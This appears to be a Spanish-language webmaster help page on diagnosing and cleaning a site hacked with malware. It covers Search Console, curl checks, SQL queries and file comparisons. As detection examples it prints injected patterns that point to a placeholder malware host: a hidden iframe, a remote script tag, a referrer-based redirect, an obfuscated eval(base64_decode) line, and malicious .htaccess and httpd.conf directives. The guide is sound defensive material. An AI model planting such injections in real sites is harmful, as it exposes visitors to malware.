Hackeado con software malicioso

Un software malicioso es cualquier software o aplicación para dispositivos móviles que se diseña específicamente para dañar una computadora, un dispositivo móvil, el software que ejecuta o a los usuarios. Para obtener más información sobre qué es el software malicioso, consulta Software malicioso y no deseado.

Si tu sitio contiene software malicioso, por lo general, los usuarios verán la advertencia "Este sitio puede dañar tu computadora" en los resultados de la búsqueda o en una página intersticial que muestre el navegador cuando el usuario intente visitar tu sitio, de la siguiente manera:

Página intersticial de malware representativa
Resultados de la búsqueda con una advertencia de software malicioso.

Debes tener lo siguiente:

  • Acceso de administrador de shell o terminal a los servidores de tu sitio: web, base de datos y archivos
  • Conocimientos sobre comandos de terminal o shell
  • Ser capaz de ejecutar consultas en SQL en la base de datos

Preparación

  • Regístrate en Search Console y verifica la propiedad del sitio hackeado como se describe allí. Search Console proporciona una muestra de las páginas afectadas, lo que facilita mucho encontrar y solucionar problemas de hackeos con software malicioso. Además, se te advertirá cuando se detecte que tu sitio se ve afectado por muchos tipos de software malicioso y otros hackeos.
  • Consulta la página de diagnóstico de la Navegación segura de Google para ver información pública sobre si un sitio es potencialmente dañino para los usuarios. Puedes ver el estado de la ficha de tu página o sitio en una URL similar a la siguiente: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Por ejemplo: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> puede ser la URL de una página específica (http://example.com/badpage) o todo tu sitio (example.com).

  • Evita usar un navegador para ver páginas en tu sitio. Debido a que el software malicioso a menudo se explota mediante la explotación de vulnerabilidades del navegador, abrir una página infectada con software malicioso en un navegador puede dañar la computadora. A menos que las instrucciones de diagnóstico indiquen que debes acceder a la página directamente en tu navegador, usa cURL o Wget para realizar solicitudes HTTP (por ejemplo, para recuperar una página).

    Estas herramientas gratuitas son útiles para diagnosticar redireccionamientos y tienen la flexibilidad de incluir información del referente o del usuario-agente. Incluir una URL de referencia o un usuario-agente específico resulta útil para imitar a los hackers, ya que estos solo pueden entregar contenido malicioso a usuarios con usuarios-agentes o URL de referencia específicos para dirigirse a más "personas reales" y evitar que los propietarios de sitios y los escáneres de software malicioso lo detecten.

`curl -v --referer "http://www.google.com" <your-url>`

A continuación, te mostramos un ejemplo que especifica tanto un usuario-agente como un referente:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Te recomendamos recuperar una página con y sin --referer "https://www.google.com", ya que parte del software malicioso solo se activa cuando los usuarios provienen de los resultados de la Búsqueda de Google.

  • Crea un documento para registrar los hallazgos de este paso. En un momento, se incluirá (como mínimo) el nombre y la ubicación de cada archivo dañado y notas sobre cómo se infectó. Además, servirá como base para Limpiar y mantener tu sitio.

  • Mira el video anterior en esta página para conocer cómo funciona el software malicioso y cómo puedes mantenerte a salvo durante la investigación de este.

Diagnóstico

Determina qué software malicioso afecta tu sitio:

  1. Abre el Informe de problemas de seguridad de tu sitio en Search Console. Expande la descripción de la advertencia de software malicioso para ver una lista de ejemplos de páginas afectadas. Ten en cuenta que esta lista no es exhaustiva; es posible que no veas páginas de ejemplo de todos los tipos de software malicioso en tu sitio.
  2. Prueba tus páginas de ejemplo para detectar los siguientes tipos de software malicioso.

Software malicioso de configuración del servidor (redireccionamientos no deseados)

Un hacker hackeó tu sitio y redirecciona a los visitantes de tu sitio correcto a su sitio atacante de software malicioso. Es probable que esto se deba a la modificación de los archivos de configuración de tu servidor. Por lo general, los archivos de configuración del servidor permiten que el administrador del sitio especifique redireccionamientos de URL para páginas o directorios específicos de un sitio web. Por ejemplo, en los servidores Apache, estos son los archivos .htaccess y httpd.conf.

Diagnóstico

Visita algunas de las URL provistas como ejemplos en el informe de problemas de seguridad. Una respuesta de una página infectada con la infección "configuración del servidor" puede incluir los siguientes encabezados:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Cómo determinar los archivos afectados

Accede a tu servidor mediante el acceso a la terminal o al shell (el sitio puede estar sin conexión, si lo deseas) y revisa los archivos de configuración del servidor relevantes. Es posible que haya más de un archivo de configuración del servidor hackeado en tu sitio. Busca en estos archivos directivas no deseadas, como redireccionamientos a sitios desconocidos. Por ejemplo, en el archivo .htaccess, es posible que veas un redireccionamiento similar al siguiente:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Inyección de SQL

Un hacker hackeó la base de datos de tu sitio. Por ejemplo, el hacker podría haber insertado código malicioso de manera programática en cada registro de una tabla de base de datos para que, cuando el servidor cargue una página que requiera información de la base de datos, el código malicioso se incorpora en el contenido de la página y dañe a los visitantes del sitio.

Diagnóstico

  1. Usa la línea de comandos para realizar algunas búsquedas en las URLs afectadas y examina la respuesta en busca de palabras de ataque de SQL, como "iframe" o "eval".
  2. Accede al servidor de tu base de datos o visualiza tu base de datos con una herramienta como phpMyAdmin. Si usaste Wget o cURL, intenta correlacionar el daño encontrado en el código fuente de la página mediante Wget o cURL con las entradas reales de la base de datos. Por ejemplo, si notaste que tus páginas incluían un iframe peligroso, puedes realizar una consulta en SQL para buscar el código de iframe. Por ejemplo:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. También puedes verificar el registro de la base de datos y los archivos de errores en tu servidor en busca de actividades inusuales, como comandos de SQL inesperados que parecen inusuales para usuarios normales o errores.

Corrige el problema

Actualiza cada registro de la base de datos infectado o restablece la última copia de seguridad de la base de datos conocida.

Inserción de código

Se modificaron algunas páginas de tu sitio para incluir código malicioso, como un iframe a un sitio atacante de software malicioso.

Diagnóstico

Visita algunas de las URLs de ejemplo que se muestran en el Informe de problemas de seguridad con cURL o wGet y examina si hay código sospechoso. El código inyectado puede tener muchos tipos y ser difícil de encontrar. Puede resultarte útil buscar palabras como "iframe" para encontrar el código de iframe. Otras palabras clave útiles son "script", "eval" y "unescape". Por ejemplo, para buscar "iframe" en todos los archivos en sistemas basados en Unix:

$grep -irn "iframe" ./ | less</pre>

Estos son algunos patrones comunes de software malicioso que debes tener en cuenta.

Un iframe que carga un sitio malicioso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript o algún otro lenguaje de programación que llama y ejecuta secuencias de comandos desde un sitio de ataque:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Secuencias de comandos que redireccionan al navegador a un sitio atacante:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Código malicioso diseñado para evitar la detección:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Archivos de objeto compartidos diseñados para escribir de forma aleatoria código dañino en secuencias de comandos benignas:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Plantillas de errores maliciosos

La plantilla que se usa para los mensajes de error, como 404 Archivo no encontrado, está configurada para distribuir software malicioso. De esta manera, los atacantes pueden iniciar ataques en URLs que ni siquiera existen en tu sitio.

Diagnóstico

En tu sitio, solicita una página que no exista o que arroje otro tipo de error, y examina la respuesta para ver si proviene de otro sitio o si contiene software malicioso.

Corrige el problema

Accede a tu servidor web y busca directivas de la página de error en los archivos de configuración del servidor. Por ejemplo, la plantilla de error para los servidores web de Apache se puede declarar en el archivo .htaccess. Esta es una entrada de archivo .htaccess de ejemplo que recupera páginas de error 404 de un sitio malicioso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Cuando tengas todo listo para limpiar tu sitio, reemplaza los archivos .htaccess por una copia de seguridad segura conocida o borra las directivas no deseadas de ErrorDocument en los archivos .htaccess existentes. Asegúrate de limpiar también los archivos con errores reales, si existen en tu sitio. Por último, reinicia el servidor web para asegurarte de que se apliquen todos los cambios.

Recursos que se cargan desde un sitio comprometido o malicioso {compromised-resources}

Tu sitio usa contenido o recursos de un sitio que se sabe que incluye contenido malicioso. Podrían ser archivos JavaScript, imágenes u otros archivos. Por lo tanto, tu sitio se marcará por software malicioso cargado desde ese otro sitio.

Diagnóstico

Visita algunas de las URL provistas como ejemplos en el informe de problemas de seguridad.

Corrige el problema

  1. Para confirmar el problema, navega a algunas de las URLs de ejemplo que se incluyen en el informe de problemas de seguridad de Search Console. Deberías ver una advertencia en el navegador.
  2. La advertencia del navegador te indicará el dominio del contenido cuestionable. Quita todas las referencias del sitio marcado que aparece en la advertencia del navegador. Si el contenido de un sitio marcado se incluyó sin que lo supieras, el problema es más grave. Es probable que tu sitio haya sido vulnerado, por lo que debes seguir examinando tu sitio en busca de otros hackeos y vulnerabilidades.
  3. Si incluiste intencionalmente contenido de un sitio legítimo que se marcó y quieres volver a incluirlo después de que se borre el sitio marcado, puedes supervisar el estado del sitio marcado con la página de diagnóstico de la Navegación segura de Google correspondiente a ese sitio (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Los propietarios de sitios legítimos suelen limpiarlos rápidamente.

Investigación adicional

Luego, verifica si hay cambios o archivos maliciosos adicionales en tu sistema. Es posible que el hacker haya modificado páginas o registros de bases de datos existentes, creado páginas generadoras de spam por completo, funciones escritas que muestran spam en páginas limpias, "puertas traseras" que permiten al hacker volver a ingresar a tu sitio o que reinyecte código malicioso que hayas quitado.

Si tu sitio está en línea, considera dejarlo sin conexión para esta investigación.

Si tienes una copia de seguridad segura de tu sitio conocida, determina qué archivos se crearon o modificaron desde la copia y, luego, investiga los archivos. En los sistemas basados en Unix, puedes usar un comando como el siguiente para buscar archivos nuevos:

diff -qr <current-directory> <backup-directory>

Por ejemplo:

diff -qr www/ backups/full-backup-20120124/

también:

md5sum <current-page> <backup-page>

Por ejemplo:

md5sum www/page.html backups/full-backup-20120124/page.html

Revisa los registros del servidor, el acceso y los errores en busca de actividades sospechosas, como intentos de acceso fallidos, el historial de comandos (en especial como raíz) y la creación de cuentas de usuario desconocidas. Ten en cuenta que el hacker pudo haber alterado estos registros para sus propios fines. Algunos ejemplos se muestran en el video sobre cómo identificar la vulnerabilidad.

Comprueba si hay redireccionamientos en los archivos de configuración. Por lo general, los archivos de configuración se denominan .htaccess y httpd.conf. A menudo, los hackers crean redireccionamientos condicionales según el usuario-agente, la hora del día o el referente. Si necesitas actualizar los archivos de configuración, es posible que debas reiniciar el servidor para que se apliquen los cambios.

Comprueba si hay permisos de carpetas y archivos demasiado flexibles. Los hackers manipulan los permisos porque, si el propietario del sitio no los detecta, el hacker tendrá una forma de volver a ingresar al sitio. Los archivos con un tamaño superior a 644 (rw-r--r--) y las carpetas superiores a 755 (rwxr-xr-x) pueden causar problemas de seguridad. Asegúrate de que todos los permisos más flexibles sean realmente necesarios. En los sistemas basados en Unix, prueba lo siguiente:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

y:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Si tienes una base de datos, investiga registro con una herramienta como phpMyAdmin.